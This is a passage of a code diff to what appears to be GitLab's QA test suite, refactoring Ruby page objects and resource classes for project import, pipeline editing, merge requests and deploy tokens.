--- a/qa/qa/page/main/login.rb
+++ b/qa/qa/page/main/login.rb
@@ -67,7 +67,7 @@ module QA
end
def sign_in_using_admin_credentials
- admin = QA::Resource::User.new.tap do |user|
+ admin = QA::Resource::User.init do |user|
user.username = QA::Runtime::User.admin_username
user.password = QA::Runtime::User.admin_password
end
diff --git a/qa/qa/page/project/fork/new.rb b/qa/qa/page/project/fork/new.rb
index 5a08f6a3cbd..7062702679a 100644
--- a/qa/qa/page/project/fork/new.rb
+++ b/qa/qa/page/project/fork/new.rb
@@ -9,10 +9,6 @@ module QA
element :fork_namespace_button
end
- view 'app/assets/javascripts/pages/projects/forks/new/components/fork_groups_list.vue' do
- element :fork_groups_list_search_field
- end
-
view 'app/assets/javascripts/pages/projects/forks/new/components/fork_form.vue' do
element :fork_namespace_dropdown
element :fork_project_button
@@ -27,8 +23,8 @@ module QA
end
end
- def search_for_group(group_name)
- find_element(:fork_groups_list_search_field).set(group_name)
+ def fork_namespace_dropdown_values
+ find_element(:fork_namespace_dropdown).all(:option).map { |option| option.text.tr("\n", '').strip }
end
end
end
diff --git a/qa/qa/page/project/import/github.rb b/qa/qa/page/project/import/github.rb
index dc683f7314b..74bc4cec467 100644
--- a/qa/qa/page/project/import/github.rb
+++ b/qa/qa/page/project/import/github.rb
@@ -14,13 +14,16 @@ module QA
view 'app/assets/javascripts/import_entities/import_projects/components/provider_repo_table_row.vue' do
element :project_import_row
- element :project_namespace_select
element :project_path_field
element :import_button
element :project_path_content
element :go_to_project_button
end
+ view "app/assets/javascripts/import_entities/components/group_dropdown.vue" do
+ element :target_namespace_selector_dropdown
+ end
+
def add_personal_access_token(personal_access_token)
# If for some reasons this process is retried, user cannot re-enter github token in the same group
# In this case skip this step and proceed to import project row
@@ -37,9 +40,18 @@ module QA
choose_test_namespace(full_path)
set_path(full_path, name)
import_project(full_path)
+
wait_for_success
end
+ # TODO: refactor to use 'go to project' button instead of generic main menu
+ def go_to_project(name)
+ Page::Main::Menu.perform(&:go_to_projects)
+ Page::Dashboard::Projects.perform do |dashboard|
+ dashboard.go_to_project(name)
+ end
+ end
+
private
def within_repo_path(full_path, &block)
@@ -50,10 +62,9 @@ module QA
def choose_test_namespace(full_path)
within_repo_path(full_path) do
- click_element :project_namespace_select
+ within_element(:target_namespace_selector_dropdown) { click_button(class: 'dropdown-toggle') }
+ click_element(:target_group_dropdown_item, group_name: Runtime::Namespace.path)
end
-
- search_and_select(Runtime::Namespace.path)
end
def set_path(full_path, name)
@@ -77,14 +88,9 @@ module QA
reload: true,
skip_finished_loading_check_on_refresh: true
) do
- page.has_no_content?('Importing 1 repository')
- end
- end
-
- def go_to_project(name)
- Page::Main::Menu.perform(&:go_to_projects)
- Page::Dashboard::Projects.perform do |dashboard|
- dashboard.go_to_project(name)
+ # TODO: Refactor to explicitly wait for specific project import successful status
+ # This check can create false positive if main importing message appears with delay and check exits early
+ page.has_no_content?('Importing 1 repository', wait: 3)
end
end
diff --git a/qa/qa/page/project/import/repo_by_url.rb b/qa/qa/page/project/import/repo_by_url.rb
new file mode 100644
index 00000000000..0e7524a181a
--- /dev/null
+++ b/qa/qa/page/project/import/repo_by_url.rb
@@ -0,0 +1,60 @@
+# frozen_string_literal: true
+
+module QA
+ module Page
+ module Project
+ module Import
+ class RepoByURL < Page::Base
+ include Page::Component::Select2
+
+ view 'app/views/projects/_new_project_fields.html.haml' do
+ element :select_namespace_dropdown
+ end
+
+ def import!(gitlab_repo_path, name)
+ fill_git_repository_url_link(gitlab_repo_path)
+ fill_project_name(name)
+ choose_test_namespace
+ click_create_button
+
+ wait_for_success
+
+ go_to_project(name)
+ end
+
+ private
+
+ def fill_git_repository_url_link(gitlab_repo_path)
+ fill_in 'project_import_url', with: gitlab_repo_path
+ end
+
+ def fill_project_name(name)
+ fill_in 'project_name', with: name
+ end
+
+ def choose_test_namespace
+ find('.js-select-namespace').click
+ search_and_select(Runtime::Namespace.path)
+ end
+
+ def click_create_button
+ find('.btn-confirm').click
+ end
+
+ def wait_for_success
+ wait_until(max_duration: 60, sleep_interval: 5.0, reload: true, skip_finished_loading_check_on_refresh: true) do
+ page.has_no_content?('Import in progress', wait: 3.0)
+ end
+ end
+
+ def go_to_project(name)
+ Page::Main::Menu.perform(&:go_to_projects)
+ Page::Dashboard::Projects.perform do |dashboard|
+ dashboard.go_to_project(name)
+ end
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/qa/qa/page/project/infrastructure/kubernetes/show.rb b/qa/qa/page/project/infrastructure/kubernetes/show.rb
index e3b4f8fe4d9..62a04a53a2f 100644
--- a/qa/qa/page/project/infrastructure/kubernetes/show.rb
+++ b/qa/qa/page/project/infrastructure/kubernetes/show.rb
@@ -6,10 +6,6 @@ module QA
module Infrastructure
module Kubernetes
class Show < Page::Base
- view 'app/assets/javascripts/clusters/components/applications.vue' do
- element :ingress_ip_address, 'id="ingress-endpoint"' # rubocop:disable QA/ElementWithPattern
- end
-
view 'app/assets/javascripts/clusters/forms/components/integration_form.vue' do
element :integration_status_toggle, required: true
element :base_domain_field, required: true
@@ -20,15 +16,6 @@ module QA
element :details, required: true
end
- view 'app/views/clusters/clusters/_applications_tab.html.haml' do
- element :applications, required: true
- end
-
- view 'app/assets/javascripts/clusters/components/application_row.vue' do
- element :install_button
- element :uninstall_button
- end
-
view 'app/views/clusters/clusters/_health.html.haml' do
element :cluster_health_section
end
@@ -42,36 +29,6 @@ module QA
click_element :details
end
- def open_applications
- has_element?(:applications, wait: 30)
- click_element :applications
- end
-
- def install!(application_name)
- within_element(application_name) do
- has_element?(:install_button, application: application_name, wait: 30)
- click_element :install_button
- end
- end
-
- def await_installed(application_name)
- within_element(application_name) do
- has_element?(:uninstall_button, application: application_name, wait: 300, skip_finished_loading_check: true)
- end
- end
-
- def has_application_installed?(application_name)
- within_element(application_name) do
- has_element?(:uninstall_button, application: application_name, wait: 300)
- end
- end
-
- def ingress_ip
- # We need to wait longer since it can take some time before the
- # ip address is assigned for the ingress controller
- page.find('#ingress-endpoint', wait: 1200).value
- end
-
def set_domain(domain)
fill_element :base_domain_field, domain
end
diff --git a/qa/qa/page/project/new.rb b/qa/qa/page/project/new.rb
index b14afa90442..170cc14b27f 100644
--- a/qa/qa/page/project/new.rb
+++ b/qa/qa/page/project/new.rb
@@ -8,6 +8,10 @@ module QA
include Page::Component::Select2
include Page::Component::VisibilitySetting
+ include Layout::Flash
+ include Page::Component::Import::Selection
+ include Page::Component::Import::Gitlab
+
view 'app/views/projects/_new_project_fields.html.haml' do
element :initialize_with_readme_checkbox
element :project_namespace_select
@@ -25,16 +29,15 @@ module QA
end
view 'app/assets/javascripts/vue_shared/new_namespace/components/welcome.vue' do
- element :blank_project_link, ':data-qa-selector="`${panel.name}_link`"' # rubocop:disable QA/ElementWithPattern
- element :create_from_template_link, ':data-qa-selector="`${panel.name}_link`"' # rubocop:disable QA/ElementWithPattern
+ element :panel_link
end
def click_blank_project_link
- click_element :blank_project_link
+ click_element(:panel_link, panel_name: 'blank_project')
end
def click_create_from_template_link
- click_element :create_from_template_link
+ click_element(:panel_link, panel_name: 'create_from_template')
end
def choose_test_namespace
@@ -76,6 +79,10 @@ module QA
click_link 'GitHub'
end
+ def click_repo_by_url_link
+ click_button 'Repo by URL'
+ end
+
def enable_initialize_with_readme
check_element(:initialize_with_readme_checkbox)
end
diff --git a/qa/qa/page/project/pipeline_editor/show.rb b/qa/qa/page/project/pipeline_editor/show.rb
new file mode 100644
index 00000000000..38c87c8daa1
--- /dev/null
+++ b/qa/qa/page/project/pipeline_editor/show.rb
@@ -0,0 +1,45 @@
+# frozen_string_literal: true
+
+module QA
+ module Page
+ module Project
+ module PipelineEditor
+ class Show < QA::Page::Base
+ view 'app/assets/javascripts/pipeline_editor/components/file_nav/branch_switcher.vue' do
+ element :branch_selector_button
+ element :menu_branch_button
+ end
+
+ view 'app/assets/javascripts/pipeline_editor/components/commit/commit_form.vue' do
+ element :target_branch_field
+ end
+
+ def has_branch_selector_button?
+ has_element? :branch_selector_button
+ end
+
+ def click_branch_selector_button
+ wait_until(reload: false) do
+ has_element?(:branch_selector_button)
+ end
+ click_element(:branch_selector_button, skip_finished_loading_check: true)
+ end
+
+ def select_branch_from_dropdown(branch_to_switch_to)
+ wait_until(reload: false) do
+ has_element?(:menu_branch_button)
+ end
+ click_element(:menu_branch_button, text: branch_to_switch_to, skip_finished_loading_check: true)
+ end
+
+ def target_branch_name
+ wait_until(reload: false) do
+ has_element?(:target_branch_field)
+ end
+ find_element(:target_branch_field, skip_finished_loading_check: true).value
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/qa/qa/page/project/settings/advanced.rb b/qa/qa/page/project/settings/advanced.rb
index 9c4b3a3c1c3..0ba856e8a6e 100644
--- a/qa/qa/page/project/settings/advanced.rb
+++ b/qa/qa/page/project/settings/advanced.rb
@@ -51,7 +51,7 @@ module QA
# Workaround for a failure to search when there are no spaces around the /
# https://gitlab.com/gitlab-org/gitlab/-/issues/218965
- search_and_select(namespace.gsub(/([^\s])\/([^\s])/, '\1 / \2'))
+ search_and_select(namespace.gsub(%r{([^\s])/([^\s])}, '\1 / \2'))
click_element(:transfer_button)
fill_confirmation_text(project_name)
diff --git a/qa/qa/page/project/settings/default_branch.rb b/qa/qa/page/project/settings/default_branch.rb
new file mode 100644
index 00000000000..cc28b37b88f
--- /dev/null
+++ b/qa/qa/page/project/settings/default_branch.rb
@@ -0,0 +1,29 @@
+# frozen_string_literal: true
+
+module QA
+ module Page
+ module Project
+ module Settings
+ class DefaultBranch < Page::Base
+ include Page::Component::Select2
+
+ view 'app/views/projects/default_branch/_show.html.haml' do
+ element :save_changes_button
+ element :default_branch_dropdown
+ end
+
+ def set_default_branch(branch)
+ find('.select2-chosen').click
+ search_and_select(branch)
+ end
+
+ def click_save_changes_button
+ find('.btn-confirm').click
+ end
+ end
+ end
+ end
+ end
+end
+
+QA::Page::Project::Settings::DefaultBranch.prepend_mod_with('Page::Project::Settings::DefaultBranch', namespace: QA)
diff --git a/qa/qa/page/project/settings/deploy_tokens.rb b/qa/qa/page/project/settings/deploy_tokens.rb
index b26cae86d8b..db1f6f68ec6 100644
--- a/qa/qa/page/project/settings/deploy_tokens.rb
+++ b/qa/qa/page/project/settings/deploy_tokens.rb
@@ -9,6 +9,7 @@ module QA
element :deploy_token_name_field
element :deploy_token_expires_at_field
element :deploy_token_read_repository_checkbox
+ element :deploy_token_read_package_registry_checkbox
element :deploy_token_read_registry_checkbox
element :create_deploy_token_button
end
@@ -27,8 +28,9 @@ module QA
fill_element(:deploy_token_expires_at_field, expires_at.to_s + "\n")
end
- def fill_scopes(read_repository:, read_registry:)
+ def fill_scopes(read_repository: false, read_registry: false, read_package_registry: false)
check_element(:deploy_token_read_repository_checkbox) if read_repository
+ check_element(:deploy_token_read_package_registry_checkbox) if read_package_registry
check_element(:deploy_token_read_registry_checkbox) if read_registry
end
diff --git a/qa/qa/page/project/settings/mirroring_repositories.rb b/qa/qa/page/project/settings/mirroring_repositories.rb
index 5e7b68858c8..582079157f2 100644
--- a/qa/qa/page/project/settings/mirroring_repositories.rb
+++ b/qa/qa/page/project/settings/mirroring_repositories.rb
@@ -48,7 +48,7 @@ module QA
end
def mirror_direction=(value)
- raise ArgumentError, "Mirror direction must be 'Push' or 'Pull'" unless %w(Push Pull).include? value
+ raise ArgumentError, "Mirror direction must be 'Push' or 'Pull'" unless %w[Push Pull].include?(value)
select_element(:mirror_direction, value)
@@ -59,7 +59,9 @@ module QA
end
def authentication_method=(value)
- raise ArgumentError, "Authentication method must be 'SSH public key', 'Password', or 'None'" unless %w(Password None SSH\ public\ key).include? value
+ unless %w[Password None SSH\ public\ key].include?(value)
+ raise ArgumentError, "Authentication method must be 'SSH public key', 'Password', or 'None'"
+ end
select_element(:authentication_method, value)
end
@@ -129,4 +131,7 @@ module QA
end
end
-QA::Page::Project::Settings::MirroringRepositories.prepend_mod_with('Page::Project::Settings::MirroringRepositories', namespace: QA)
+QA::Page::Project::Settings::MirroringRepositories.prepend_mod_with( # rubocop:disable Cop/InjectEnterpriseEditionModule
+ 'Page::Project::Settings::MirroringRepositories',
+ namespace: QA
+)
diff --git a/qa/qa/page/project/settings/repository.rb b/qa/qa/page/project/settings/repository.rb
index a02b3d6a7d6..de5b4f37076 100644
--- a/qa/qa/page/project/settings/repository.rb
+++ b/qa/qa/page/project/settings/repository.rb
@@ -56,6 +56,14 @@ module QA
ProtectedTags.perform(&block)
end
end
+
+ def expand_default_branch(&block)
+ within('#default-branch-settings') do
+ find('.btn-default').click do
+ DefaultBranch.perform(&block)
+ end
+ end
+ end
end
end
end
diff --git a/qa/qa/page/project/sub_menus/ci_cd.rb b/qa/qa/page/project/sub_menus/ci_cd.rb
index 7cb2fd6c655..c8c90df2c1f 100644
--- a/qa/qa/page/project/sub_menus/ci_cd.rb
+++ b/qa/qa/page/project/sub_menus/ci_cd.rb
@@ -20,6 +20,24 @@ module QA
click_element(:sidebar_menu_link, menu_item: 'CI/CD')
end
end
+
+ def go_to_pipeline_editor
+ hover_ci_cd_pipelines do
+ within_submenu do
+ click_element(:sidebar_menu_item_link, menu_item: 'Editor')
+ end
+ end
+ end
+
+ private
+
+ def hover_ci_cd_pipelines
+ within_sidebar do
+ find_element(:sidebar_menu_link, menu_item: 'CI/CD').hover
+
+ yield
+ end
+ end
end
end
end
diff --git a/qa/qa/page/project/sub_menus/project.rb b/qa/qa/page/project/sub_menus/project.rb
index cd08715bcd8..89d4ed578ed 100644
--- a/qa/qa/page/project/sub_menus/project.rb
+++ b/qa/qa/page/project/sub_menus/project.rb
@@ -12,17 +12,13 @@ module QA
base.class_eval do
include QA::Page::Project::SubMenus::Common
-
- view 'app/views/shared/nav/_scope_menu_body.html.haml' do
- element :project_scope_link
- end
end
end
def click_project
retry_on_exception do
within_sidebar do
- click_element(:project_scope_link)
+ click_element(:sidebar_menu_link, menu_item: 'Project scope')
end
end
end
diff --git a/qa/qa/resource/base.rb b/qa/qa/resource/base.rb
index 873ba353051..ca0087cf709 100644
--- a/qa/qa/resource/base.rb
+++ b/qa/qa/resource/base.rb
@@ -1,70 +1,143 @@
# frozen_string_literal: true
-require 'forwardable'
require 'capybara/dsl'
require 'active_support/core_ext/array/extract_options'
module QA
module Resource
class Base
- extend SingleForwardable
include ApiFabricator
extend Capybara::DSL
NoValueError = Class.new(RuntimeError)
- def_delegators :evaluator, :attribute
+ class << self
+ # Initialize new instance of class without fabrication
+ #
+ # @param [Proc] prepare_block
+ def init(&prepare_block)
+ new.tap(&prepare_block)
+ end
- def self.fabricate!(*args, &prepare_block)
- fabricate_via_api!(*args, &prepare_block)
- rescue NotImplementedError
- fabricate_via_browser_ui!(*args, &prepare_block)
- end
+ def fabricate!(*args, &prepare_block)
+ fabricate_via_api!(*args, &prepare_block)
+ rescue NotImplementedError
+ fabricate_via_browser_ui!(*args, &prepare_block)
+ end
- def self.fabricate_via_browser_ui!(*args, &prepare_block)
- options = args.extract_options!
- resource = options.fetch(:resource) { new }
- parents = options.fetch(:parents) { [] }
+ def fabricate_via_browser_ui!(*args, &prepare_block)
+ options = args.extract_options!
+ resource = options.fetch(:resource) { new }
+ parents = options.fetch(:parents) { [] }
- do_fabricate!(resource: resource, prepare_block: prepare_block, parents: parents) do
- log_fabrication(:browser_ui, resource, parents, args) { resource.fabricate!(*args) }
+ do_fabricate!(resource: resource, prepare_block: prepare_block, parents: parents) do
+ log_fabrication(:browser_ui, resource, parents, args) { resource.fabricate!(*args) }
- current_url
+ current_url
+ end
end
- end
- def self.fabricate_via_api!(*args, &prepare_block)
- options = args.extract_options!
- resource = options.fetch(:resource) { new }
- parents = options.fetch(:parents) { [] }
+ def fabricate_via_api!(*args, &prepare_block)
+ options = args.extract_options!
+ resource = options.fetch(:resource) { new }
+ parents = options.fetch(:parents) { [] }
+
+ raise NotImplementedError unless resource.api_support?
+
+ resource.eager_load_api_client!
+
+ do_fabricate!(resource: resource, prepare_block: prepare_block, parents: parents) do
+ log_fabrication(:api, resource, parents, args) { resource.fabricate_via_api! }
+ end
+ end
+
+ def remove_via_api!(*args, &prepare_block)
+ options = args.extract_options!
+ resource = options.fetch(:resource) { new }
+ parents = options.fetch(:parents) { [] }
+
+ resource.eager_load_api_client!
+
+ do_fabricate!(resource: resource, prepare_block: prepare_block, parents: parents) do
+ log_fabrication(:api, resource, parents, args) { resource.remove_via_api! }
+ end
+ end
- raise NotImplementedError unless resource.api_support?
+ private
- resource.eager_load_api_client!
+ def do_fabricate!(resource:, prepare_block:, parents: [])
+ prepare_block.call(resource) if prepare_block
- do_fabricate!(resource: resource, prepare_block: prepare_block, parents: parents) do
- log_fabrication(:api, resource, parents, args) { resource.fabricate_via_api! }
+ resource_web_url = yield
+ resource.web_url = resource_web_url
+
+ resource
+ end
+
+ def log_fabrication(method, resource, parents, args)
+ return yield unless Runtime::Env.debug?
+
+ start = Time.now
+ prefix = "==#{'=' * parents.size}>"
+ msg = [prefix]
+ msg << "Built a #{name}"
+ msg << "as a dependency of #{parents.last}" if parents.any?
+ msg << "via #{method}"
+
+ yield.tap do
+ msg << "in #{Time.now - start} seconds"
+ puts msg.join(' ')
+ puts if parents.empty?
+ end
+ end
+
+ # Define custom attribute
+ #
+ # @param [Symbol] name
+ # @return [void]
+ def attribute(name, &block)
+ (@attribute_names ||= []).push(name) # save added attributes
+
+ attr_writer(name)
+
+ define_method(name) do
+ instance_variable_get("@#{name}") || instance_variable_set("@#{name}", populate_attribute(name, block))
+ end
+ end
+
+ # Define multiple custom attributes
+ #
+ # @param [Array] names
+ # @return [void]
+ def attributes(*names)
+ names.each { |name| attribute(name) }
end
end
- def self.remove_via_api!(*args, &prepare_block)
- options = args.extract_options!
- resource = options.fetch(:resource) { new }
- parents = options.fetch(:parents) { [] }
+ # Override api reload! and update custom attributes from api_resource
+ #
+ api_reload = instance_method(:reload!)
+ define_method(:reload!) do
+ api_reload.bind_call(self)
+ return self unless api_resource
- resource.eager_load_api_client!
+ all_attributes.each do |attribute_name|
+ api_value = api_resource[attribute_name]
- do_fabricate!(resource: resource, prepare_block: prepare_block, parents: parents) do
- log_fabrication(:api, resource, parents, args) { resource.remove_via_api! }
+ instance_variable_set("@#{attribute_name}", api_value) if api_value
end
+
+ self
end
+ attribute :web_url
+
def fabricate!(*_args)
raise NotImplementedError
end
def visit!
- Runtime::Logger.debug(%Q[Visiting #{self.class.name} at "#{web_url}"])
+ Runtime::Logger.debug(%(Visiting #{self.class.name} at "#{web_url}"))
# Just in case an async action is not yet complete
Support::WaitForRequests.wait_for_requests
@@ -78,14 +151,12 @@ module QA
Support::WaitForRequests.wait_for_requests
end
- def populate(*attributes)
- attributes.each(&method(:public_send))
+ def populate(*attribute_names)
+ attribute_names.each { |attribute_name| public_send(attribute_name) }
end
- def wait_until(max_duration: 60, sleep_interval: 0.1)
- QA::Support::Waiter.wait_until(max_duration: max_duration, sleep_interval: sleep_interval) do
- yield
- end
+ def wait_until(max_duration: 60, sleep_interval: 0.1, &block)
+ QA::Support::Waiter.wait_until(max_duration: max_duration, sleep_interval: sleep_interval, &block)
end
private
@@ -101,70 +172,27 @@ module QA
def attribute_value(name, block)
api_value = api_resource&.dig(name)
- if api_value && block
- log_having_both_api_result_and_block(name, api_value)
- end
+ log_having_both_api_result_and_block(name, api_value) if api_value && block
api_value || (block && instance_exec(&block))
end
- def log_having_both_api_result_and_block(name, api_value)
- QA::Runtime::Logger.info "<#{self.class}> Attribute #{name.inspect} has both API response `#{api_value}` and a block. API response will be picked. Block will be ignored."
+ # Get all defined attributes across all parents
+ #
+ # @return [Array<Symbol>]
+ def all_attributes
+ @all_attributes ||= self.class.ancestors
+ .select { |clazz| clazz <= QA::Resource::Base }
+ .map { |clazz| clazz.instance_variable_get(:@attribute_names) }
+ .flatten
+ .compact
end
- def self.do_fabricate!(resource:, prepare_block:, parents: [])
- prepare_block.call(resource) if prepare_block
-
- resource_web_url = yield
- resource.web_url = resource_web_url
-
- resource
- end
- private_class_method :do_fabricate!
-
- def self.log_fabrication(method, resource, parents, args)
- return yield unless Runtime::Env.debug?
-
- start = Time.now
- prefix = "==#{'=' * parents.size}>"
- msg = [prefix]
- msg << "Built a #{name}"
- msg << "as a dependency of #{parents.last}" if parents.any?
- msg << "via #{method}"
-
- yield.tap do
- msg << "in #{Time.now - start} seconds"
- puts msg.join(' ')
- puts if parents.empty?
- end
- end
- private_class_method :log_fabrication
-
- def self.evaluator
- @evaluator ||= Base::DSL.new(self)
- end
- private_class_method :evaluator
-
- class DSL
- def initialize(base)
- @base = base
- end
-
- def attribute(name, &block)
- @base.module_eval do
- attr_writer(name)
-
- define_method(name) do
- instance_variable_get("@#{name}") ||
- instance_variable_set(
- "@#{name}",
- populate_attribute(name, block))
- end
- end
- end
+ def log_having_both_api_result_and_block(name, api_value)
+ QA::Runtime::Logger.info(<<~MSG.strip)
+ <#{self.class}> Attribute #{name.inspect} has both API response `#{api_value}` and a block. API response will be picked. Block will be ignored.
+ MSG
end
-
- attribute :web_url
end
end
end
diff --git a/qa/qa/resource/deploy_token.rb b/qa/qa/resource/deploy_token.rb
index 0ba8dbbf287..cd638ad2f85 100644
--- a/qa/qa/resource/deploy_token.rb
+++ b/qa/qa/resource/deploy_token.rb
@@ -37,7 +37,7 @@ module QA
setting.expand_deploy_tokens do |page|
page.fill_token_name(name)
page.fill_token_expires_at(expires_at)
- page.fill_scopes(read_repository: true, read_registry: false)
+ page.fill_scopes(read_repository: true, read_package_registry: true)
page.add_token
end
diff --git a/qa/qa/resource/group.rb b/qa/qa/resource/group.rb
index 0f06113f85b..ce85273c3b2 100644
--- a/qa/qa/resource/group.rb
+++ b/qa/qa/resource/group.rb
@@ -3,7 +3,7 @@
module QA
module Resource
class Group < GroupBase
- attr_accessor :description
+ attributes :require_two_factor_authentication, :description
attribute :full_path do
determine_full_path
@@ -15,8 +15,6 @@ module QA
end
end
- attribute :require_two_factor_authentication
-
def initialize
@path = Runtime::Namespace.name
@description = "QA test run at #{Runtime::Namespace.time}"
diff --git a/qa/qa/resource/group_base.rb b/qa/qa/resource/group_base.rb
index 025d98f50e0..652c6cf7d1e 100644
--- a/qa/qa/resource/group_base.rb
+++ b/qa/qa/resource/group_base.rb
@@ -9,17 +9,17 @@ module QA
attr_accessor :path
- attribute :id
- attribute :runners_token
- attribute :name
- attribute :full_path
+ attributes :id,
+ :runners_token,
+ :name,
+ :full_path
# Get group labels
#
# @return [Array<QA::Resource::GroupLabel>]
def labels
parse_body(api_get_from("#{api_get_path}/labels")).map do |label|
- GroupLabel.new.tap do |resource|
+ GroupLabel.init do |resource|
resource.api_client = api_client
resource.group = self
resource.id = label[:id]
diff --git a/qa/qa/resource/import_project.rb b/qa/qa/resource/import_project.rb
new file mode 100644
index 00000000000..105d75285f1
--- /dev/null
+++ b/qa/qa/resource/import_project.rb
@@ -0,0 +1,35 @@
+# frozen_string_literal: true
+
+module QA
+ module Resource
+ class ImportProject < Resource::Project
+ attr_writer :file_path
+
+ def initialize
+ @name = "ImportedProject-#{SecureRandom.hex(8)}"
+ @file_path = ::File.join('qa', 'fixtures', 'export.tar.gz')
+ end
+
+ def fabricate!
+ self.import = true
+ super
+
+ group.visit!
+
+ Page::Group::Show.perform(&:go_to_new_project)
+
+ Page::Project::New.perform do |new_project|
+ new_project.click_import_project
+ new_project.click_gitlab
+ new_project.set_imported_project_name(@name)
+ new_project.attach_exported_file(@file_path)
+ new_project.click_import_gitlab_project
+ end
+ end
+
+ def fabricate_via_api!
+ raise NotImplementedError
+ end
+ end
+ end
+end
diff --git a/qa/qa/resource/kubernetes_cluster/project_cluster.rb b/qa/qa/resource/kubernetes_cluster/project_cluster.rb
index b66a75d978b..b3eba77fc46 100644
--- a/qa/qa/resource/kubernetes_cluster/project_cluster.rb
+++ b/qa/qa/resource/kubernetes_cluster/project_cluster.rb
@@ -3,6 +3,8 @@
module QA
module Resource
module KubernetesCluster
+ # TODO: This resource is currently broken, since one-click apps have been removed.
+ # See https://gitlab.com/gitlab-org/gitlab/-/issues/333818
class ProjectCluster < Base
attr_writer :cluster,
:install_ingress, :install_prometheus, :install_runner, :domain
@@ -11,8 +13,8 @@ module QA
Resource::Project.fabricate!
end
- attribute :ingress_ip do
- Page::Project::Infrastructure::Kubernetes::Show.perform(&:ingress_ip)
+ def ingress_ip
+ @ingress_ip ||= @cluster.fetch_external_ip_for_ingress
end
def fabricate!
@@ -40,17 +42,6 @@ module QA
# We must wait a few seconds for permissions to be set up correctly for new cluster
sleep 25
- # Open applications tab
- show.open_applications
-
- show.install!(:ingress) if @install_ingress
- show.install!(:prometheus) if @install_prometheus
- show.install!(:runner) if @install_runner
-
- show.await_installed(:ingress) if @install_ingress
- show.await_installed(:prometheus) if @install_prometheus
- show.await_installed(:runner) if @install_runner
-
if @install_ingress
populate(:ingress_ip)
diff --git a/qa/qa/resource/merge_request.rb b/qa/qa/resource/merge_request.rb
index 5a24bb32475..8d9de0ea718 100644
--- a/qa/qa/resource/merge_request.rb
+++ b/qa/qa/resource/merge_request.rb
@@ -1,17 +1,12 @@
# frozen_string_literal: true
require 'securerandom'
-require 'active_support/core_ext/object/blank'
module QA
module Resource
class MergeRequest < Base
attr_accessor :approval_rules,
- :id,
- :title,
- :description,
:source_branch,
- :target_branch,
:target_new_branch,
:assignee,
:milestone,
@@ -22,9 +17,12 @@ module QA
:wait_for_merge,
:template
- attribute :merge_when_pipeline_succeeds
- attribute :merge_status
- attribute :state
+ attributes :iid,
+ :title,
+ :description,
+ :merge_when_pipeline_succeeds,
+ :merge_status,
+ :state
attribute :project do
Project.fabricate! do |resource|
@@ -32,11 +30,15 @@ module QA
end
end
+ attribute :target_branch do
+ project.default_branch
+ end
+
attribute :target do
Repository::ProjectPush.fabricate! do |resource|
resource.project = project
resource.branch_name = target_branch
- resource.new_branch = @target_new_branch
+ resource.new_branch = target_new_branch
resource.remote_branch = target_branch
end
end
@@ -62,13 +64,14 @@ module QA
@labels = []
@file_name = "added_file-#{SecureRandom.hex(8)}.txt"
@file_content = "File Added"
- @target_branch = project.default_branch
@target_new_branch = true
@no_preparation = false
@wait_for_merge = true
end
def fabricate!
+ return fabricate_large_merge_request if Runtime::Scenario.large_setup?
+
populate_target_and_source_if_required
project.visit!
@@ -89,21 +92,21 @@ module QA
end
def fabricate_via_api!
- raise ResourceNotFoundError unless id
+ return fabricate_large_merge_request if Runtime::Scenario.large_setup?
resource_web_url(api_get)
- rescue ResourceNotFoundError
+ rescue ResourceNotFoundError, NoValueError # rescue if iid not populated
populate_target_and_source_if_required
super
end
def api_merge_path
- "/projects/#{project.id}/merge_requests/#{id}/merge"
+ "/projects/#{project.id}/merge_requests/#{iid}/merge"
end
def api_get_path
- "/projects/#{project.id}/merge_requests/#{id}"
+ "/projects/#{project.id}/merge_requests/#{iid}"
end
def api_post_path
@@ -112,18 +115,22 @@ module QA
def api_post_body
{
- description: @description,
- source_branch: @source_branch,
- target_branch: @target_branch,
- title: @title
+ description: description,
+ source_branch: source_branch,
+ target_branch: target_branch,
+ title: title
}
end
+ def api_comments_path
+ "#{api_get_path}/notes"
+ end
+
def merge_via_api!
Support::Waiter.wait_until(sleep_interval: 1) do
- QA::Runtime::Logger.debug("Waiting until merge request with id '#{id}' can be merged")
+ QA::Runtime::Logger.debug("Waiting until merge request with id '#{iid}' can be merged")
- reload!.api_resource[:merge_status] == 'can_be_merged'
+ reload!.merge_status == 'can_be_merged'
end
Support::Retrier.retry_on_exception do
@@ -141,12 +148,21 @@ module QA
end
end
- def reload!
- # Refabricate so that we can return a new object with updated attributes
- self.class.fabricate_via_api! do |resource|
- resource.project = project
- resource.id = api_resource[:iid]
- end
+ def fabricate_large_merge_request
+ @project = Resource::ImportProject.fabricate_via_browser_ui!
+ # Setting the name here, since otherwise some tests will look for an existing file in
+ # the proejct without ever knowing what is in it.
+ @file_name = "github_controller_spec.rb"
+ visit("#{project.web_url}/-/merge_requests/1")
+ current_url
+ end
+
+ # Get MR comments
+ #
+ # @return [Array]
+ def comments
+ response = get(Runtime::API::Request.new(api_client, api_comments_path).url)
+ parse_body(response)
end
private
@@ -158,8 +174,6 @@ module QA
end
def populate_target_and_source_if_required
- @target_branch ||= project.default_branch
-
populate(:target, :source) unless @no_preparation
end
end
diff --git a/qa/qa/resource/package.rb b/qa/qa/resource/package.rb
index 1009353a296..0e8c3ee95de 100644
--- a/qa/qa/resource/package.rb
+++ b/qa/qa/resource/package.rb
@@ -15,11 +15,10 @@ module QA
end
attribute :id do
- packages = project.packages
-
- return unless (this_package = packages&.find { |package| package[:name] == "#{project.path_with_namespace}/#{name}" }) # rubocop:disable Cop/AvoidReturnFromBlocks
+ this_package = project.packages
+ &.find { |package| package[:name] == name }
- this_package[:id]
+ this_package.try(:fetch, :id)
end
def fabricate!
diff --git a/qa/qa/resource/personal_access_token.rb b/qa/qa/resource/personal_access_token.rb
index 59ae8f4de7a..924e4206166 100644
--- a/qa/qa/resource/personal_access_token.rb
+++ b/qa/qa/resource/personal_access_token.rb
@@ -11,21 +11,25 @@ module QA
# This *could* be different than the api_client.user or the api_user provided by the QA::Resource::ApiFabricator module
attr_writer :user
- attribute :token do
- Page::Profile::PersonalAccessTokens.perform(&:created_access_token)
- end
+ attribute :token
# Only Admins can create PAT via the API.
# If Runtime::Env.admin_personal_access_token is provided, fabricate via the API,
# else, fabricate via the browser.
def fabricate_via_api!
- if Runtime::Env.admin_personal_access_token && !@user.nil?
- self.api_client = Runtime::API::Client.as_admin
+ @token = QA::Resource::PersonalAccessTokenCache.get_token_for_username(user.username)
+ return if @token
- super
- else
- fabricate!
- end
+ resource = if Runtime::Env.admin_personal_access_token && !@user.nil?
